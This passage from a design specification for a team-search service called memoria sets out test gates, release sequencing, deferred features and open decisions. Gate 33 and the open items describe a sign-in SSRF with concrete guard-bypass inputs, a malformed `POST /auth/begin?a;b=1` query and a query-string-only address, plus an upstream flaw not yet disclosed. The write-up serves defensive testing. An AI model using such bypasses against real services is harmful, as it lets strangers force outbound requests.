    because one cannot hold both.** Draft 4 asserted the overlap against
    the deadline fixture — one sibling at 5 s, two at 10 ms, an 800 ms
    deadline — and that assertion is unwritable. If the recorded latency
    is the client's, the slow sibling is cut off at 800 ms and 90% of the
    sum is 738 ms, which a concurrent client (≈800 ms) exceeds: always
    red. If it is the fixture's, the sum is 5.02 s, 90% of it is 4.5 s,
    and a strictly sequential client still finishes in ≈820 ms because it
    abandons the slow one at the deadline: never red. Same test, opposite
    vacuity, depending on which clock — which is why it needs its own
    fixture of comparable sub-deadline latencies.

    - **The deadline half**, unchanged: three fixtures, one sleeping 5 s
      and two answering in 10 ms. The page renders in under 1.2 s, names
      the slow sibling, and shows the other two's passages.
    - **The concurrency half**, its own fixture: **three siblings each
      answering in 300 ms**, all comfortably inside the 800 ms deadline
      so none is cut off. Concurrent is ≈300 ms, sequential ≈900 ms, the
      sum is 900 ms and 90% of it is **810 ms**. Fail if total wall time
      exceeds 810 ms. That bound is 2.7× the concurrent time and 0.9× the
      sequential one, so it separates the two by a wide margin at both
      ends rather than sitting on top of either.

    Mutation: make the client sequential and the concurrency half goes
    red at ≈900 ms; remove the deadline and the deadline half goes red at
    ≈5 s. Each mutation must be checked against **both** fixtures, since
    the point of the split is that neither fixture can see both faults.
24. **The wake warm-up** (§6.5). Bring the app up against three sibling
    fixtures, **issue no query at all**, and assert each fixture received
    an S1 poll within **N ms** of the app coming up — N a stated constant
    in the low seconds, not a race against anything.

    **Draft 4 ordered the poll against the first query, and that cannot
    be written either way.** If the warm-up is asynchronous, "before the
    handler served a request" is a race between two goroutines and the
    gate is flaky. If it is synchronous, satisfying the assertion means
    the first query *waits* for three sibling wakes — which puts the
    latency back on the reader, and §6.5's entire reason for the warm-up
    is to spend it where nobody is waiting. Asserting **unprompted
    presence** avoids both: the claim is that the poll happens on its
    own, not that it wins a race.

    Mutation: delete the warm-up and every fixture goes unpolled, red.
    Make the warm-up fire lazily on the first query and the gate goes red
    too, because no query is ever issued — which is the assertion draft
    4's ordering could not make. This gate is also why the warm-up is S1
    rather than draft 3's S7: an S7 warm-up carries a person ref that
    does not exist on a wake, so no fixture could ever have received it
    and no gate could have caught its absence.
25. **S3 carries no person**, asserted end to end rather than by
    spelling. A fixture sibling holds an item granted individually to the
    asker and **not** team-visible. It must 404, that item must never
    appear in memoria's store, and the fixture must record that **no S3
    request it received carried any field it did not expect** — the
    fixture decodes S3 into its own struct with unknown fields rejected,
    which is a total check where a name list is not.

    **The meaningful mutation, and it takes two edits:** add a person ref
    to memoria's S3 call **and** make the fixture honour it by serving
    the individually-granted item. Then the 404 assertion and the
    store assertion both go red. Either edit alone proves nothing — a
    person ref the fixture ignores changes no behaviour, which is why a
    field-name check on its own is not a guard.

    **Draft 4's field-name regex** — `person|user|asker|actor|sub` — is
    **demoted to a lint, not a gate.** It is the shape §10 opens with:
    `principal`, `who`, `ref`, `identity`, `on_behalf_of` and `viewer`
    all sail straight through it, and `sub` false-positives on `subject`
    and `submitted_at`. It stays as a cheap advisory because a matching
    field name is worth a second look; nothing rests on it.
26. **`external_id` is keyed, and reverting it is caught.** The same body
    ingested twice yields the same id; the same body **under a second
    DEK** yields a **different** id; and `sha256(body)`, in hex and in
    base64, appears nowhere in the row or the bucket object. Mutation:
    revert to a bare SHA-256 and the second and third assertions go red.
    Draft 3's fix shipped with no gate at all, so reverting it left every
    test green.

    **The key is the DEK, and draft 4 said "instance key".** Checked
    against the code: `internal/memoria/store.go` fingerprints via
    `s.sealer.Fingerprint(seal.PurposeExternal, …)`, and the `Sealer`
    holds the DEK — `seal.New(dek)`, HKDF over `s.dek` per purpose. The
    instance key is a different value with a different job:
    `internal/memoria/auth.go` uses `InstanceKey` to seal auth's pending
    blob, and it never reaches `seal`. So a gate written from draft 4's
    wording would rotate `MEMORIA_INSTANCE_KEY`, see the id unchanged —
    because it correctly is — and go red on correct code, which is worse
    than the missing gate it replaced. Rotate `MEMORIA_DEK`.
27. **A sibling's restore reconciles, and the page does not go quietly
    short** (§4.1). Gate 10 covers memoria's own restore; this is the
    mirror case, and draft 4 shipped `AHEAD` with nothing holding what
    happens after it.

    Fixture: memoria holds 60 chunks from Sheets and 40 from Docs. Sheets
    is restored behind memoria and now (a) holds revision 5 of an item
    memoria holds at 7, (b) holds no row at all for a second item, (c)
    answers normally for the rest.

    - **`AHEAD` for (a); `NOT_VISIBLE` for (b).** The no-row case is
      `NOT_VISIBLE` and must be byte-identical to a private item's answer
      — suite gate 3 — or S2 becomes an id-existence oracle. Draft 4 had
      (b) as `AHEAD` and §4.1 records what overruling it costs. **Assert
      the indistinguishability, not just the value:** ask about (b) and
      about a known-private item in the same call and require the two
      results to be equal, because asserting `NOT_VISIBLE` alone passes on
      an implementation that answers it for different reasons.
    - **Nothing is deleted**, and the source is marked for re-announce.
    - **The empty-page assertion, which is the point of the gate.** Run a
      query matching all 100 chunks with a page size of 50. The page
      renders **50 results, all from Docs**, plus a line naming Sheets as
      reconciling. Assert the count, exactly. Draft 4's behaviour — rank
      the Sheets chunks, then withhold them one at a time — fills the
      page with `AHEAD` chunks and renders **fewer than 50** plus a pile
      of notices; run the same case with the Docs fixture removed and it
      renders **zero results on a corpus that has them**. That is the
      failure §0 exists to prevent, so the gate asserts the count rather
      than the notice: a notice is what draft 4 already had.
    - **A failed announce retires nothing.** Run a re-announce that dies
      after page 2 with no closing marker, and one whose closing count
      disagrees with what was received. Both leave every chunk in place.
    - **A completed announce retires the omitted item**, and only it: the
      item at (b) is gone from the index and tombstoned in the durable
      log (§7.4), while everything the announce named survives.
    - **Revision 5 replaces revision 7.** The announce names the item at
      5, memoria refetches at 5 via S3, and the chunks it serves are the
      revision-5 body. Assert on the body, not on the number.
    - **The source rejoins the ranking** once the announce completes: the
      same query now returns Sheets chunks again.

    Mutations, per path: retire on the S2 `AHEAD` rather than on the
    announce → the nothing-is-deleted case red. Retire on an incomplete
    announce → the failed-announce case red. Keep `AHEAD` chunks in the
    ranking → the 50-result assertion red at 30. Compare revisions
    numerically and keep 7 over 5 → the body assertion red. Map "no row"
    to `NOT_VISIBLE` → the (b) case red, and note it would otherwise be
    *silent*, which is what makes asserting it worth the trouble.
28. **Every stored vector has L2 norm 1 ± ε.** Deterministic, and the
    mutation is named: *skip the renormalise after §7.2's 4096→512
    truncation, expect red.* Written this way on purpose — a gate phrased
    over cosine similarity **could not fail**, because cosine divides by
    the norms and is scale-invariant. §7.2 commits the search to a raw dot
    product so that this gate bites.
29. **Recall at 512 against recall at 4096**, on a named labelled query
    set, above a stated fraction. **This gate cannot be written yet**: no
    labelled set exists in the repo and `docs/BENCHMARKS.md` measures
    latency only. Recorded here as owed, not as present — §13. Writing it
    as a threshold over an unlabelled corpus would be gate 2's and gate 8's
    mistake a third time.
30. **Embedding-model canary.** A fixed set of public, non-content
    sentences embedded at first configuration and re-embedded on wake;
    cosine drift beyond a stated ε **states an anomaly** and does not
    silently continue. This is what stands in for a datestamped id where
    the catalogue offers none (§8.2), and the detector for §13's
    single-model risk. The mutation is a substituted model id.
31. **No provider response body is logged verbatim.** An OpenAI-compatible
    4xx can echo the input that caused it, so a provider error path is a
    content path. Gate 4 covers our own log lines; this covers the bytes
    the provider hands back.
32. **Every passage id in a model prompt is one S2 returned `VISIBLE` for
    in this same request.** Asserted on the prompt builder's input, not on
    a table name or a schema grep — a grep for "transcript" would be a gate
    written to pass, since the leak does not need a table. This is §8.4's
    invariant and the only thing that stops a future surface re-speaking a
    revoked passage. Mutation: hand the prompt builder one passage from a
    previous request's result set, expect red. Slice 2.

    **Draft 4's version of this gate could not fail, and the reason
    outlives the call it was about.** Under S7, admission was an OR over
    the siblings, and the fixture flipped *a* sibling to `NOT_MEMBER`
    while another still answered `MEMBER` — so the person stayed admitted
    at 14 minutes and at 16, and the gate passed with no cache at all. The
    fix was to flip **the only vouching sibling**. A roster has no OR to
    get wrong, so the specific bug is gone; the shape is not. **A fixture
    that changes one of several sufficient conditions asserts nothing**,
    and that is worth carrying into the suite half, where the roster's
    epoch and the owners list are two independent doors.

---
33. **An anonymous visitor cannot make this instance dial a domain of
    their choosing.** Built 2026-09-05 as `TestSigninDoesNotDialForANonOwner`.
    `POST /auth/begin` runs the admission predicate **before** rastrillo's
    classifier resolves anything, so an unadmitted address produces no
    outbound traffic at all — and the gate watches **DNS as well as HTTP**,
    because the classifier resolves a TXT record first and only fetches
    `.well-known/keymail` if that finds a delegation. A recorder watching
    HTTP alone called a reserved-TLD address "no dial" while the process
    had already asked the world about it.
    **Two-sided on purpose:** the non-owner case asserts no dial *and* the
    exact `?sent=1` destination, because a distinct rejection would make
    the guard an owners-list oracle; the owner case asserts the dial does
    happen, without which a guard that refuses everybody, an unwired auth,
    a missing route and an uninstalled recorder are all green.
    **The adversarial pass found the gate green over two live bypasses**,
    not mutations but the shipped guard: `POST /auth/begin?a;b=1` with an
    ordinary body reached the classifier, because the guard called
    `ParseForm` and passed the request through on error while rastrillo's
    `FormValue` ignores that error and uses what parsed; and an address
    given only in the query string was invisible to the guard's
    `PostFormValue` and visible to rastrillo's `FormValue`. **One mistake
    twice: a guard that reads a request differently from the thing it
    guards is not guarding it.** The guard now reads the address with the
    same accessor and has no error branch, because `FormValue` has no
    error to branch on. Three further green mutations closed with it —
    `SigninPath` drifting from the guard's constant (now shared), dropping
    `csrf.Protect` (cross-origin now answers identically for both), and a
    nil predicate falling open (asserted).
    **One residual stays open and §3.2 records it:** the guard sits in
    front of signin's per-address rate limiter, so an owner and a stranger
    are distinguishable after five submissions, and a refused address
    consumes no per-IP budget either. The budget is inside signin and not
    reachable from here; it closes with the upstream fix.
34. **The box never speaks a withheld passage, and every count happens
    after the ruling** (§8.8). Lives in `internal/memoria`, at store
    level, against **a custody fake that rules per item id** —
    `fixedCustody` returns one disposition for every candidate from a
    single `give` field and cannot express these fixtures at all. Six,
    and the last three are the ones an author does not write:

    - **Presence.** Two sibling documents, two different validated
      eircodes, both `VISIBLE` → the box carries **two** candidates.
      Without this the absences below are assertions about an empty
      world (§10's second rule).
    - **`NOT_VISIBLE` is silent.** One of them withheld → the box shows
      **exactly the survivor, and `Notices` is empty.** Draft 1 demanded
      a notice here, which §4.1's table forbids and `Outcome.Record` will
      not produce: a gate that could only be made green by building the
      existence oracle §4.1 exists to deny.
    - **`UNKNOWN` is loud.** Same fixture, `UNKNOWN` instead → the
      survivor **and** §6.5's notice.
    - **The cap counts after the ruling.** Four documents, four distinct
      values, one `NOT_VISIBLE` → **three** candidates and a box. Under
      "extract over the ruled set, count over the unruled one" the reader
      loses the box entirely because of a document they may not see, and
      no two-document fixture can tell those implementations apart.
    - **The citation is the survivor's.** The **same** eircode in a
      `VISIBLE` and a `NOT_VISIBLE` document → one candidate, cited to
      the visible passage. Every fixture above uses distinct values per
      document, so "cite from `all` instead of `page.Results`" passes all
      of them; this is the only one that can see it.
    - **Collision counts after the ruling too.** Two documents sharing a
      title and trail, both falling to the trail for a label, one
      `NOT_VISIBLE` → the survivor **is** boxed. Computed over the
      unruled set it collides and the box vanishes, which is the same
      leak as the cap case wearing the collision rule's coat.

    - **A withheld over-long label does not silence the kind.** Rule 4 —
      a document-authored label too long to show renders no box for that
      kind — is a count like the other two, and has to happen after the
      ruling for the same reason. **No other fixture here has a `NoBox`
      candidate at all**, so a mutation computing that rule over the
      unruled set passed all six of the others. Found by the
      implementation review.

    **Assert the struct, not the page** — the candidate tuple
    `(span, title, trail, label, DocumentID, Ordinal)` and the notice
    slice, never rendered copy. **Every field, and the fixtures must
    differ in all of them**: with two identical bodies, taking the title
    from the ruled result and the rest from an unruled one passes, and
    renders an `href` to a document the reader may not open under that
    document's own heading and label. Two dispositions rendering an identical
    page is how `Outcome.Record` filed silent rulings undetected (§1.9).
35. **Candidates are canonical values, ambiguity is enumerated, and the
    cap is three** (§8.8). One gate, because the rules share a definition
    and a gate that splits them cannot see the interactions:

    - one validated number → one box, one value **(presence)**;
    - a second, different number → **both named**, neither dropped, the
      higher-scoring one not presented as the answer, **and in first-seen
      order** — order asserted, since a map's range is not an order;
    - **three → still a box. Four → none.** Both, because a cap written
      `>= 3` passes a suite testing only one, two and four. **Queries
      with no qualifiers**, since narrowing (gate 40) can turn four
      candidates into one row;
    - **two spellings of one number** — `+353 1 547 7854` and
      `01 547 7854` → **one** candidate. A dedupe keyed on the span
      rather than the canonical form passes a same-spelling fixture;
    - the same number in five documents → one candidate, cited to the
      best-ranked;
    - **two numbers in one chunk → two candidates.**
      `index/rank_test.go`'s office fixture is exactly this, and an
      implementation counting chunks hides the second;
    - **a two-kind query with two of each** → **two boxes**, not none.
      A cap counted across kinds suppresses both, and this is the fixture
      that sees it.

    - **Rows are in first-seen order, asserted** — on a fixture where
      sorting by value and seeing in document order DISAGREE. A box
      sorted by canonical value is deterministic and passes every length
      check, and the two-in-one-passage fixture happens to sort the way
      it was seen.
    - **A collision between NON-ADJACENT rows still suppresses.** Every
      other collision fixture is a pair, so a check comparing only
      neighbours passes all of them.
    - **The same label under different HEADINGS still renders**, which is
      the trail's half of the rule the title case covers.

    Mutation: return `candidates[0]` when there is more than one and case
    2 goes red. Count passages instead of canonical values and cases 4
    and 5 go red in opposite directions, which is the pair worth having.
    The last three above were each found green by the implementation
    review and each goes red on exactly the fixture written for it.
36. **The displayed value is byte-identical to the document's** (§8.8).
    The canonical form exists for matching and must never reach the page.
    Fixtures, with the expected bytes written out in each: `+353 (0)1 547
    7854`; the same followed by `ext. 12`, where the expected span is
    `+353 (0)1 547 7854 ext. 12` and the recogniser must be specified to
    include it; and one written with **U+00A0** between the groups.
    Mutation: normalise ` ` to a space before matching **and display
    the normalised span** — the shape a recogniser naturally grows, and
    invisible to any fixture using only ASCII spaces. **Note which way
    the NBSP fixture fails:** Go's `\s` does not match U+00A0, so a
    recogniser written with it finds nothing and the fixture goes red on
    presence rather than on the bytes. That is the design demand, not an
    accident.
37. **The label is the document's, or the fallback's, and never composed**
    (§8.8's five rules, one fixture each plus the four failures the gate
    review found):

    - `Office: …` → `Office`;
    - the motivating fixture's mid-paragraph value after a separator →
      the sentence-anchored run, which draft 1 got wrong;
    - a value mid-sentence with **no** separator before it → the heading
      trail, never the preceding clause;
    - **a markdown bullet**, `- +353 1 547 7854` → the run is `-`, empty
      once the separator is removed, so it **falls through to the trail**
      rather than yielding an empty label. Two such bullets must still
      box, which an implementation returning `""` turns into a collision;
    - **two values adjacent**, `Phone: 01 547 7854 - 01 598 1234` → the
      second label must not be `Phone: 01 547 7854`. Drop the
      earlier-span rule and this fixture labels one number with another;
    - **an abbreviation**, `Dr. Smith's direct line: 01 …` → the whole
      run, not `Smith's direct line`. This is the composing direction and
      the exception list is the only thing holding it;
    - **60 and 61 characters**, both. At 60 the label renders; at 61
      there is **no box for that kind** — not the trail instead. A cap
      written `< 60` passes a suite that only tests "one over";
    - an upload with **no headings at all** → the document title, never
      `""`. Every fixture carrying a heading hides this.
    - **List markers (2026-09-29).** `- Office: …`, `3. Office: …` and
      `- [x] Office: …` → `Office`. A bare `- +353 1 547 7854` still falls
      through to the trail: the marker is removed only when something
      follows it.
38. ~~**The facts table does not disturb the main ranking.**~~ **Struck
    before it was built, 2026-09-14.** §8.8 draft 3 removed the facts
    table, so there is nothing to prove non-interference for — and the
    gate as drafted was unreachable anyway: a test that injects a term
    into every row and asserts `bm25()` collapses is a test of SQLite,
    and no mutation of this repo can turn it red. AGENTS.md's rule is
    that a defence nothing can reach is the same object as a guard
    written to pass, and that the answer is to make it reachable or
    delete it, never to leave it with a comment. The **measurement**
    survives as prose in §8.8, where it explains why §12's eventual
    reachability fix is not "index the kind words". The number kept its
    place in this list rather than being reused, per §13's convention for
    struck items.
39. *§8.9's gate, defined in that section.*
40. **Narrowing picks exactly one, only over the cap, only on the
    reader's words against the document's own label** (§8.8, Paul,
    2026-09-29). Store level, asserting the candidate tuples and the
    note's fields, never rendered copy. Every fixture below has four or
    more candidates unless it says otherwise. Fixtures:

    - **Presence, the motivating page.** The office number labelled *"The
      office phone number is"*, plus three unused numbers: one labelled
      *"We also have the following unused phone numbers"* and two as bare
      bullets under the heading `Office Address`. The query *"what is the
      office phone number?"* → **one** row, the office number, labelled
      without its bullet, and a note with `{office}` and **3** others.
      The same page queried with *"phone number"* → **no box**. The two
      together are the gate: either alone passes an implementation that
      always narrows, or one that never does.
    - **A fallback label never matches.** On the page above, the bare
      bullets' label is the trail `Office Address`, which contains
      `office`. If they matched, there would be three matches and no box.
    - **Under the cap, nothing changes.** Three candidates, one labelled
      `Office phone`, queried *"office phone"* → **all three** render,
      and there is no note. Narrowing below the cap is the broadening the
      first review found in this gate's own section.
    - **Whole tokens.** Labels `Office phone`, `Offices phone`,
      `Backoffice line`, `Reception` → one row. Substring matching makes
      three matches, and no box.
    - **Every qualifier, both directions.** Query *"Dublin office phone"*.
      Labels `Dublin office phone`, `Office phone`, `Dublin reception`,
      `Sales` → one row, `Dublin office phone`: any-of would find three
      matches and render nothing. Labels `Office phone`, `Reception`,
      `Sales`, `Fax` → **no box**: any-of finds exactly one and renders it.
    - **Two matches → nothing.** Labels `Office phone`, `Office line`,
      `Reception`, `Sales` → no box, no note. An implementation showing
      every match renders two.
    - **An over-long matching label silences the kind**, and an over-long
      label that does not match leaves the single match rendered.
    - **Counts after the ruling, both halves** (gate 34's rule). One
      visible match, one withheld match, one withheld non-match, three
      visible non-matches → four ruled candidates, **one** row and **3**
      others. Counting matches over the unruled set gives two matches and
      no box. Counting the others over it gives 5, which also reveals a
      withheld document. And: one visible match, two visible non-matches,
      one withheld non-match → **three** ruled candidates, under the cap,
      so **all three** render with no note. Testing the cap over the
      unruled set narrows a page that should not be narrowed.

## 11. Sequencing

**Slice 0 — buildable today, no contract, no blockers.** Scaffold, sealed
store, §7 proven end to end: chunk, seal, wake, BM25 search, scriptless
UI with citations, gates 1–4 and 15. **§8.8's fact box lands here too**,
added 2026-09-14: recognisers, the kind lexicon, the label rule, the box,
and gates 35–37 — nothing stored, nothing indexed, no sibling and no
model. **Gate 34 comes with it and needs a custody fake that rules per
item id**, which `fixedCustody` is not. Drafts 1 and 2 of §8.8 both said
it could run against "`memoriatest`'s sibling stub, which exists"; no such
stub exists, and writing that twice in the section that cites §10's
renamed-test rule is the failure that rule is about. Content by upload and paste only, so
§4.2 governs and no person ref is needed. **No embeddings, therefore no
egress at all.** This is the design Docs §15 item 2 deferred for want of
one, so proving it unblocks Docs regardless of memoria's fate.

**Slice 1 — the sibling contract (§6) and §4.1.** One source app first —
Docs, since it has bodies. **S1–S3 from the contract module**, including
S1a's closing marker and count; the per-asker gate; loud withholding; the
circuit breaker with its durable counters; and §4.1's post-restore
reconciliation, which is not an edge case to defer because a sibling that
is behind, without it, is a slow leak of phantom chunks into every page's
top-k. Needs the drain to grow multi-host provisioning and three-phase
rotation. No S7: admission is §4.3's roster.

**It is not gated on the home, and this spec said it was.** The dependency
is on the **typed asker subject** (suite §3), not on person refs existing:
in lone shape the subject is a lowercased address, and sibling tokens are a
switch independent of the home token, so suite §12 steps 2 and 3 run
against Sheets and Docs before any home exists. Corrected 2026-09-05 —
memoria had been recording itself as blocked on something that was not in
its way, which is a more expensive mistake than being blocked.

**Slice 2 — the model layer (§8).** Named provider, router,
answer-above-citations, **§8.9's metadata half and gate 39**, the §3.6
README. *No Docs §11.2 qualification is
owed any more: §8.3 cites suite §8 and Docs cites the same sentence, which
is how discussion 33 closed.* **This is the slice that turns on
whole-corpus egress**,
so it does not land before its disclosure copy does.

Four things enter with it rather than after, because each is cheap now and
a silent wrong answer later: **the remaining live-key checks** §13 lists —
the first round ran on 2026-09-05 and left the 403 and the batch size
open; **gate 28**, which is
deterministic and costs nothing; **a labelled query set**, without which
gate 29 cannot be written at all; and **gate 30's canary**, which is the
only thing standing between a stable model id and a silent weight swap.

**Slice 3 — external connectors (§5.1)** under §4.2, with least-privilege
credentials (§3.5) and gate 7.

**Ship gate throughout, and it is shape-dependent.** In **lone shape**
there is no home and none is needed: the asker subject is a lowercased
address, sibling tokens are their own switch, and slices 0 to 2 run
against Sheets and Docs without one. In **suite shape**, home §13 step 4
gates **admission only** — call 8 and the roster (§4.3) — and never §4.1,
which needs a typed subject and not specifically a person ref.

*This paragraph said "home §13 step 4 before anything reaches a shared
host … because §4.1 needs a person ref on every query", twelve lines below
the correction that says the opposite. Both were written in the same
commit. Fixed 2026-09-05; §1.9's lesson arriving inside the fix for §1.8.*

---

## 12. Deliberately not built yet

| Thing | Trigger |
|---|---|
| An on-disk sealed index, or partial load with background fill | The corpus passes ~150k chunks (§7.3). **This, not ANN, is the next scaling problem** |
| ANN index (`coder/hnsw`) | Query latency exceeds ~200 ms, i.e. ~600k chunks at 512 dims — which §7.3 shows is *later* than the wake ceiling, not earlier |
| MCP adapter | The first consumer that speaks it |
| A feed surface on memoria | Something needs to consume memoria. A new decision, with its own leak-list entry |
| **A source-of-record surface, so a hand-off can include memoria's own material** | Someone wants "save this answer as a Doc" to work for answers built on the team's own uploads. Suite §7 makes the *receiver* check every source with its app of record, and memoria serves nobody to ask (decision 7), so such a hand-off is refused today — §9.1. Opening it needs its own decision, its own §3.2 leak entry and its own gate, and it is Paul's: decision 7 is settled |
| Calendar as a source | Calendar has a spec and content; bodies off by default even then |
| Mail beyond forward-or-label | Never by sweep. A mail repo exists **and** a per-thread audience maps onto a team |
| **Reaching a fact the ranked query does not** | Somebody reports a fact they can see in a document the box did not surface. §8.8's candidates are the ruled top-25, so an eircode in a document that never says "eircode" is found only if something else about it ranks. **Whatever this turns out to be, it is not "index the kind words"** — §8.8 measures that collapsing `bm25()` for the injected term from 2.7169 to 0.0000 |
| ~~**Postal address as a fact kind**~~ | **PROMOTED 2026-09-19 to §8.9, slice 2.** Decision 15's amendment makes "nothing to validate" the reason a model handles it rather than the reason it is excluded. Kept struck rather than deleted, because the row's reasoning is what the amendment overturned |
| **An eircode-anchored address block** | **The next step, and the one Paul's rule asks for.** A validated eircode certifies the address block it ends; extracting the contiguous lines above it is deterministic and would serve most Irish addresses with no model call at all. Deferred from §8.9's first branch only because that branch is already memoria's first provider client. Trigger: that branch landing |
| **A durable, sealed facts table** | The per-query extraction shows up in a profile. §8.8 rejects it today on derived-state grounds and because it would freeze the recognisers at ingest — **not** on leak grounds, which is what draft 1 argued and which attacked an unsealed design nobody proposed. Note the direction: storing facts makes recogniser improvements *harder* to ship, so this row gets triggered by cost and never by correctness |
| Cached answers | Query cost becomes visible. Requires §5.2's provenance invalidation first. **Triggering this expires §8.4's "stored nowhere"** |
| A conversational surface | Someone wants one, and it keeps §8.4's invariant: no passage crosses a request, in a prompt or a response. Decision 14 chose the shape on decision 5's grounds, not decision 3's, so this is a product argument to have — not a rule to break. §6.5 affords it: a four-turn transcript re-authorizes in one batch, one round |
| A runtime model-call ledger | Someone needs to audit routing. Sealed and provenance-stamped when it lands (§8.3) |
| A local embedding model | Would remove ingest egress entirely, which §3.2 makes the largest single leak. **Not the cgo-free in-process runtime this row first imagined:** §8.3's `qwen3-embedding-8b` is open-weight, so self-hosting is possible in principle, but 8B parameters means a second box to run and keep, not a library linked into the one binary |
| Cross-team anything | Never, under §6.4 |
| Fine-tuning on the corpus | Never, under decision 8 |

---

## 13. Open

**Five items need Paul and are marked `NEEDS PAUL`:** the 12-hour session
TTL, §8.7's unit-override switch, the CI runner's repo list, the
disclosure route for the rastrillo SSRF (`SECURITY-DRAFT-rastrillo-signin.md`,
unfiled), and **§8.9's constraints and kind list** (what replaced
decision 15's scope when Paul ruled on it). **Nothing else here is a
ruling; the rest is work, measurement or somebody else's repo.**

  - ~~**§8.8's cap is unmeasured against the corpus that motivated it.**~~
    **CLOSED 2026-09-29, by Paul hitting it and ruling the remedy.**
    *"What is the office phone number?"* on the live corpus showed no
    box: the ruled top-25 carried four or more distinct numbers. This
    item's earlier text said the remedy was *"a narrower lexicon or a
    per-kind cap — never a rule that picks"*. That was the spec author's
    framing, not a ruling, and it would not have worked: the lexicon was
    already right, and a larger cap would show unused numbers as the
    answer. Paul approved narrowing by the reader's own words against
    the document's own label, which §8.8 now specifies with gate 40. The
    cap of three itself is unchanged and is still unmeasured on queries
    with no qualifiers.
  - **Decision 10 is narrowed by §8.8 and the narrowing is the spec
    author's, not Paul's.** "memoria never does arithmetic" now reads as
    "never reports a number it computed"; a mod-97 check digit is
    arithmetic on document content that decides a predicate and reports
    nothing. Defensible, and recorded here for the same reason decision
    15's widening is: §1.9's lesson is that the load-bearing half of a
    decision must not live only in a commit message.
  - **Decision 15's scope: CLOSED 2026-09-19, and Paul reversed it.** The
    strict reading — no model, ever — was the spec author's. His ruling,
    verbatim: *"do as much as possible with deterministic analysis, and
    then attempt to build metadata with the best value models via TensorX
    that make sense."* (An earlier revision of this item paraphrased that
    as "then a cheap model", which put the author's tier choice into his
    mouth. He said "best value".) §8.9.
  - **NEEDS PAUL — what replaced it, and it is narrower.** Two things, both
    his: (a) *which* metadata is worth a query-time model call — postal
    address is ruled in; opening hours, a role, an effective date, a
    foreign registration number are plausible and unruled; the proposed
    test is "is the answer a verbatim span somebody would want cited".
    (b) **The implementation constraints in decision 15's row are the
    author's**, not his: extractive only, byte-exact spans, validator-backed
    kinds never sent, no model-written labels, 🤖 marking, `model.cheap` as
    the initial tier. They are proposed as the conditions under which his
    ruling is safe to build; any of them is his to override.
  - ~~**Decision 15 records more than Paul ruled, and says so rather than
    quietly widening.** What he asked for on 2026-09-14 is the box, and
    the constraint — *"do as much deterministic ordering of the data
    before we go doing inference on it"*. The **"ever"** is the spec
    author's: read strictly it forecloses §8.2's cheap extractive class
    ever filling a box for a kind with no validator, which is the
    obvious next request and the natural home for a postal address. The
    validator rule, the five kinds and dropping `url` follow from the
    strict reading. If Paul wants the weaker version — deterministic
    first, a model second where nothing validates — that is one row in
    §12 promoted and decision 15 amended, not a redesign. The gate
    review raised this as §1.9's failure repeating: the load-bearing
    half of a decision living in a commit message.~~ *Superseded
    2026-09-19 by Paul's ruling above; kept because what the amendment
    overturned is only legible beside what it replaced.*

*Struck items are kept with their reasoning rather than deleted. Several
closed on 2026-09-05 and 2026-09-06 when the suite doctrine landed, and in
more than one case the doctrine chose an option the struck item had itself
named — which is only visible if the item is still here.*

  **Six of these closed on 2026-09-05 when A.4 landed, and they closed
  together because they were one defect wearing six coats: decision 11.**

  - ~~**`MEMBER` is undefined for a guest.**~~ **Closed.** Guests are
    never on the roster (§4.3), so the question a guest broke is no
    longer asked. Suite ruling 4.
  - ~~**The S7 cache has no stated TTL, and the framework's default is 30
    days.**~~ **Closed.** There is no S7 and no cache. Ruling 3 is "never
    cached, at any scope", and §4.3's roster is a pulled copy with its
    own TTL whose expiry stales team standing for everybody rather than
    silently extending it.
  - ~~**§2 and §4.2 still specify the members table decision 11
    rejected.**~~ **Closed.** §2 now says roster copy; §4.2 says grants
    and points membership at §4.3.
  - ~~**§4.1 still says there is "no separate 'is P a member?'
    question".**~~ **Closed.** §4.1 now says the opposite and says why:
    admission and authorization are different questions at different
    moments, which is the whole point of the roster split.
  - ~~**No S2 value covers a sibling that is BEHIND memoria.**~~
    **Closed.** §4.1 defines it: a revision the app of record does not
    recognise answers `UNKNOWN` and withholds loudly, never `NOT_VISIBLE`.
    Suite §4.3; GPT-6's finding 11 on the doctrine.
  - ~~**The circuit breaker fires on a routine case.**~~ **Closed.** It
    was routine only under "admit on at least one sibling"; with
    admission on the roster, a Docs-only member is not admitted by Docs
    and then refused wholesale by Sheets.
  - **Derived-artefact provenance is not transitive.** An artefact built
    from another artefact partitions as memoria-owned and never reaches
    S2 for the first artefact's sibling sources. Two hops launder what
    one hop cannot.
  - **§8.7's unit compatibility has no test it can run.** Three cells
    formatted `General`, one of them in thousands, carry no signal
    distinguishing them, so `MIXED_UNITS` cannot fire and the average is
    confidently wrong. The spec's own example is "one year in k€".
  - **Several draft-3 fixes have no gate**: S3's signature, the keyed
    `external_id` (reverting it leaves every test green), §6.5's deadline
    and concurrency, the wake warm-up. Gates 2 and 8 name "a threshold"
    and "*everything*" without a number, so neither can be written as
    stated.
  - **`TestNoContentInLogs`'s credential half cannot fail**, because the
    test app wires no auth and so never sends a link.

- **§Review pass on draft 3 itself.** Done: Fable, 22 findings, REQUEST
  CHANGES. The blocker it found was mine — see §6.1 on S3.
- ~~**BLOCKER: the source apps must adopt decision 1.**~~ **CLOSED
  2026-09-05.** Decision 1 became suite ruling 1 and all three siblings
  adopted it: home `c1784e8` (ruling 23, review record recovered as
  discussion 8), Docs `6797bbf` (A.2, discussion 37, closing discussion
  33), Sheets `4aea8f4` (A.3, discussion 16, new §9a naming S6 as Sheets'
  alone).
  **Those are `refs/heads/main` on the remote, verified by `git ls-remote`
  against each hub repo, and a checkout on any developer box will not
  resolve them** — `amadan branch merge` lands on the remote and touches
  no working tree, which is suite AGENTS.md's "the checkout on disk can
  lie". A reviewer of this section looked in local checkouts, found none of
  the three, and was right to say the claim was unverifiable as written.
  It is the fetch that is missing, not the merge. Each replaced "instance boundary" with "team boundary" and cites
  the doctrine rather than restating it. **Slice 1 is no longer blocked on
  agreement.** What it now waits on is Sheets and Docs actually serving
  S1–S3 — code, in their repos, suite §12 step 3.
- **The three amendments cite doctrine revision 4 and the doctrine is at
  7.** Gate 9 fails a spec more than one revision behind, so a citation
  bump is owed in all three. It is a debt and not a red gate, because gate
  9 is not built — §12 step 2 schedules gates 1 to 4 only. Recorded here
  because memoria depends on those specs being current, and because
  "nobody has built the gate yet" is exactly the sentence that lets a
  currency rule rot.
- **The sign-in dial: memoria's half is closed, the upstream half is
  not.** `POST /auth/begin` now runs the admission predicate before the
  classifier resolves anything (gate 33), so an unadmitted address causes
  no DNS query and no fetch.
  **What remains is not memoria's, and it is worse than this spec has been
